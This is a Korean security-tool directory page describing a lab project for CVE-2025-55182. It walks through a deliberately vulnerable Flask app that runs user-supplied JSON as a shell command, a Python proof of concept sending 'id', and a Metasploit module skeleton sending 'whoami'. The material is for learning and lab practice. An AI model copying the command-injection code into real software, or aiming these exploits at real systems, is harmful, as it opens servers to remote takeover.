Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-55182-Metasploit-exploit-skeleton-real-flow- — 아래는 전체 LAB 계획입니다: demo-vulnerable app → Python PoC → Metasploit exploit skeleton | Kitploit
도구/GitHubGitHub/nulltrace1336/cve-2025-55182-metasploit-exploit-skeleton-real-flow-
Exploit FrameworksVulnerability AnalysisWeb Application ExploitationPenetration TestingLearning & EducationPayload DevelopmentLabs & Practice
GitHubnulltrace1336/cve-2025-55182-metasploit-exploit-skeleton-real-flow-

CVE-2025-55182-Metasploit-exploit-skeleton-real-flow-

아래는 전체 LAB 계획입니다: demo-vulnerable app → Python PoC → Metasploit exploit skeleton

저장소 보기
28개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🧪 1단계: 데모 취약 웹 앱 (LAB)

우리는 CVE-2025-55182와 유사한 로직(안전하지 않은 서버 측 실행)을 생성합니다.

📁 vuln_app/app.py

root@kitploit:~
from flask import Flask, request
import subprocess

app = Flask(__name__)

@app.route("/render", methods=["POST"])
def render():
    data = request.json.get("component")

    # ❌ VULNERABLE: user input to command execution
    result = subprocess.getoutput(data)
    return result

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=3000)

실행:

root@kitploit:~
pip install flask
python app.py

📌 이는 React2Shell과 유사합니다:

서버 측 입력 → 실행

🧪 2단계: Python PoC (테스트 익스플로잇)

이는 RCE가 존재함을 증명하기 위한 것입니다.

📁 poc.py

root@kitploit:~
import requests url = "http://127.0.0.1:3000/render" payload = { "component": "id" } r = requests.post(url, json=payload) print("[+] Server response:") print(r.text)

출력이 다음과 같으면:

root@kitploit:~
uid=1000(user) gid=1000(user)

✅ RCE 확인됨 (LAB)

🧠 3단계: Metasploit 익스플로잇 SKELETON

이것은 프로페셔널 프레임워크 형식이지만, 무기화되지는 않았습니다.

📁 위치

root@kitploit:~
~/.msf4/modules/exploits/linux/http/lab_react_like_rce.rb

📄 lab_react_like_rce.rb

root@kitploit:~
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'LAB React-like Server RCE',
      'Description' => %q{
        Demonstration exploit for unsafe server-side execution.
        Tested only in a controlled lab environment.
      },
      'Author'      => ['Behruz'],
      'License'     => MSF_LICENSE,
      'Platform'    => ['linux'],
      'Arch'        => ARCH_CMD,
      'Targets'     => [['Automatic', {}]],
      'DisclosureDate' => '2025-01-01',
      'DefaultTarget'  => 0
    ))

    register_options([
      OptString.new('TARGETURI', [true, 'Vulnerable endpoint', '/render'])
    ])
  end

  def exploit
    print_status("Sending lab command execution request")

    send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path),
      'ctype'  => 'application/json',
      'data'   => {
        'component' => 'whoami'
      }.to_json
    })

    print_good("Request sent (LAB validation only)")
  end
end

사용 방법:

root@kitploit:~
msfconsole
use exploit/linux/http/lab_react_like_rce
set RHOSTS 127.0.0.1
run

📌 여기서:

❌ 리버스 쉘 없음

✅ 프레임워크 지식 + 익스플로잇 로직 있음

📁 4단계: 포트폴리오 구조 (중요)

GitHub에서 다음과 같이 보여야 합니다:

root@kitploit:~
lab-react-like-rce/
 ├─ vuln_app/
 │   └─ app.py
 ├─ poc/
 │   └─ poc.py
 ├─ metasploit/
 │   └─ lab_react_like_rce.rb
 ├─ README.md

📝 5단계: README에 다음과 같이 작성됨

root@kitploit:~
## Description
This project demonstrates a lab-based server-side code execution
vulnerability inspired by modern RCE CVEs.

## Scope
- Tested only in a controlled lab environment
- No real-world systems were targeted

## Skills Demonstrated
- Vulnerability analysis
- Python PoC development
- Custom Metasploit module creation
도구 다운로드